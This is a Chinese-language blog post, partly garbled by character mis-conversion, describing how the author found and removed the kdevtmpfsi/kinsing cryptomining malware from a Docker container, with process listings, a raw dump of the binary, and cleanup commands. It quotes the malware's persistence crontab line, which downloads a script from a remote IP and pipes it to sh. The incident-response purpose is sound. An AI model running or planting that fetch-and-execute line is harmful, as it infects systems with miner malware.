乐趣区

关于挖矿病毒:kdevtmpfsi挖矿病毒

前言

【阿里云】尊敬的吴彦祖:
经检测您的阿里云服务(ECS 实例)存在挖矿流动。依据相干法规、政策的规定及监管部门的要求,请您于 2022-08-15 00 时前实现挖矿问题整改,否则您的服务将被关停,详情请查看邮件或阿里云站内音讯告诉。
若您有其余问题,可登陆阿里云官网在线征询

一条短信,开始了和 kdevtmpfsi 的故事。

初识

登录服务器,top -c 看下过程信息:

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
3195280 root      20   0  714116 267756   2708 S  99.7  14.4     19:05.65 /tmp/kdevtmpfsi 

发现 /tmp/kdevtmpfsi 占据了 99.7% 的 CPU 资源。

毫无疑问,这家伙应该就是挖矿病毒了。

百度一波后发现,的确是它,以及它还有一个叫 kinsing 的守护过程,ps -ef | grep kinsing

root     3195051 3142956  0 22:13 pts/0    00:00:00 /etc/kinsing

首次交锋

间接 kill -9 3195051 3195280 杀一波过程。

top -c 再次查看过程,挖矿无了,CPU 恢复正常。

正筹备鸣金收兵,竟发现:

阿里云控制台 ECS 实例的 CPU 曲线竟然又拉了起来。

事件并不简略

看来不止是杀个过程这么简略。

问了一嘴阿里云客服,对方丢过去一份挖矿程序处理最佳实际。

简略总结就是:

删除执行文件 => 杀过程 => 查看并革除异样端口 => 查看并革除异样定时工作

试一下。

一、删除执行文件

ps -ef | grep kdevtmpfsi 看下新起过程 PID:

root    3197558    3142956    95    23:10    ?    00:40:19    /tmp/kdevtmpfsi

阐明病毒的执行文件为 /tmp/kdevtmpfsi

head /tmp/kdevtmpfsi 大抵看一下却提醒:

head: 无奈关上 '/tmp/kdevtmpfsi' 读取数据: 没有那个文件或目录

竟然没有这个文件?

难道病毒在容器里?

docker stats 看一眼容器状态:

CONTAINER ID   NAME              CPU %     MEM USAGE / LIMIT     MEM %     NET I/O           BLOCK I/O        PIDS
68825e3ec789   gateway-service   100.55%   810.7MiB / 1.776GiB   44.58%    0B / 0B           293MB / 52.2MB   107
1fcf77218204   watchtower        0.00%     12.2MiB / 1.776GiB    0.67%     8.03MB / 1.82MB   30MB / 0B        8
2a5700773074   nginx             0.00%     7.227MiB / 1.776GiB   0.40%     172GB / 172GB     33.8MB / 0B      3

真的在容器里!

docker exec -it 68825e3ec789 /bin/bash 进容器看看。

top -c 看下容器的过程:

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
  13786 root      20   0  714116 268084   2708 S  99.7  14.4  67:42.02 /tmp/kdevtmpfsi 

是他了。

head /tmp/kdevtmpfsi 大抵看下病毒的执行文件:

ELF>U@@p?8@8@@@?8?8 8??t??
 ??@?@DD8??(?Q?tdR?td8???W?WGNUGNU9Xj)3???<h?|??`?%
                                                   d?`?%pnd?`?%Pad?`?%Nd?`?%pnd?`?%0Qdx`?%??fp`?%@-dh`?%??d``?%0?dX`?%mdP`?%??hH`?%?}l@`?% nd8`?%d0`?%?\d(`?%`.d `?%??d`?% gdH?H?E\XH??t?K???H???%R\Xh??%J\Xh??%B\Xh??%:\Xh??%2\Xh??%*\Xh??%"\Xh??%\Xh??%\Xh??%
\Xh??%\Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh??%?[Xh?H??H??H?|$?[?USH??H??H??u&H?.?H?TH?4$?9??TH?4$H?H?H??H??u1??6H?TH?4$?.?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐH?H?PH??ÐUH??SH??H??H?G@H+G8H??H? ??T$
                                                  ??T$
                                                      H?C8H?HH??H?K8t8H???`?mH?HE?f?@H???H#?@?H    ?H?H??[]?USH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$???TH?4$H?H?H??H??u1??6H?TH?4$??#H??t?H?TH?4$H?H?H?H?
H?HH??H??[]ÐUSH??H??H??u&H?.?H?TH?4$?+??TH?4$H?H?H??H??u1??6H?TH?4$? ?#H??t?H?TH?4$H?H?H?H?

全是密文。

rm -f /tmp/kdevtmpfsi 删除。

可是,报错了:

rm: cannot remove '/tmp/kdevtmpfsi': Stale file handle

无奈删除。

百度了一波,也没找到无效信息,甚至发了个新的发问。

这一步无奈只能临时跳过 …ORZ

二、杀过程

这个下面有,不再赘述。

三、查看并革除异样端口

无异样。

四、查看并革除异样定时工作

crontab -l 果然有定时工作:

* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1

百度了一下这个 IP:

91.241.19.134 来自俄罗斯·莫斯科

crontab -r 删它。

这一套下来,过程终止了,定时工作也删除了,尽管病毒文件没有删除,但想到定时工作曾经被删除,应该没什么问题了。

氛围逐步焦灼

然而

过了约 20 分钟,kdevtmpfsi 过程又从新起来了,并且随着新起的病毒过程,容器外面居然也有了个 新的定时工作

这不对啊,定时工作怎么也有复活甲???

难道定时工作的背地还存在定时工作?

在宿主机和容器中别离执行 for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done 看下所有用户下的定时工作,很遗憾,一个也没有找到。

这是见鬼了啊!很好受。大招连同 DF 都放了,然而对面竟然有有限复活甲。

迎来转折

束手无策之际,下面发的那个发问有位北京的大佬回复我说尝试一下重启。

试了一下,过程果然无了。

大佬牛逼。

总结

如果你的 Linux 服务器中招 kdevtmpfsi 挖矿病毒,并且该病毒过程存在于 docker 之中,那么你能够尝试以下步骤来解决:

一、查问宿主机中的病毒文件并删除

  1. find / -name "*kdevtmpfsi*" 查问病毒文件。(我这边没有找到)
  2. find / -name "*kinsing*" 查问守护过程文件。(找到两条记录,删除其中任意一条另外一条也随之删除)

二、查问宿主机中的定时工作

  1. crontab -l 查问以后账户下的定时工作。
  2. for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done 查问所有账户下的定时工作。

若有异样定时工作(我这边无),执行 crontab -r 删除。

三、查问病毒所在的容器并进入

  1. docker stats 查问异样容器的 CONTAINER ID
  2. docker exec -it <CONTAINER ID> /bin/bash 进入病毒所在的容器。

四、查问容器中的异样定时工作并革除

  1. crontab -l 查问定时工作
  2. crontab -r 删除定时工作

五、查问病毒的 PID 及其文件门路

  1. ps -ef | grep kdevtmpfsi 查问病毒的 PID 及其文件所在位置;
  2. ps -ef | grep kinsing 查问守护过程的 PID 及其文件所在位置。

六、删除病毒文件

  1. rm -f /etc/kinsing 删除守护过程文件。
  2. rm -f /tmp/kdevtmpfsi 删除病毒文件。

我这边删除会报错。
不过问题不大,你如果也报错,能够间接疏忽这一步,不影响最终毁灭本次病毒。

七、终止病毒过程

kill -9 <kinsing 的 PID> <kdevtmpfsi 的 PID>

八、退出容器并重启

  1. control + P + Q 退出容器
  2. docker restart <CONTAINER ID> 重启容器

工夫过了很久,没有新的病毒过程再主动起来。

这次的病毒算是解决了,尽管它下次还会来,但至多把握了单次解决它的办法。

只管病毒文件和守护过程文件还在,但应该没啥作用了,如果强迫症感觉这个文件删不掉很好受,能够 vi 进去 dG 删除所有内容后 :wq,这样一来,和删除其实没啥区别了。


大佬们若有更快捷的解决形式,或者能在源头阻止感化的,不吝赐教。

退出移动版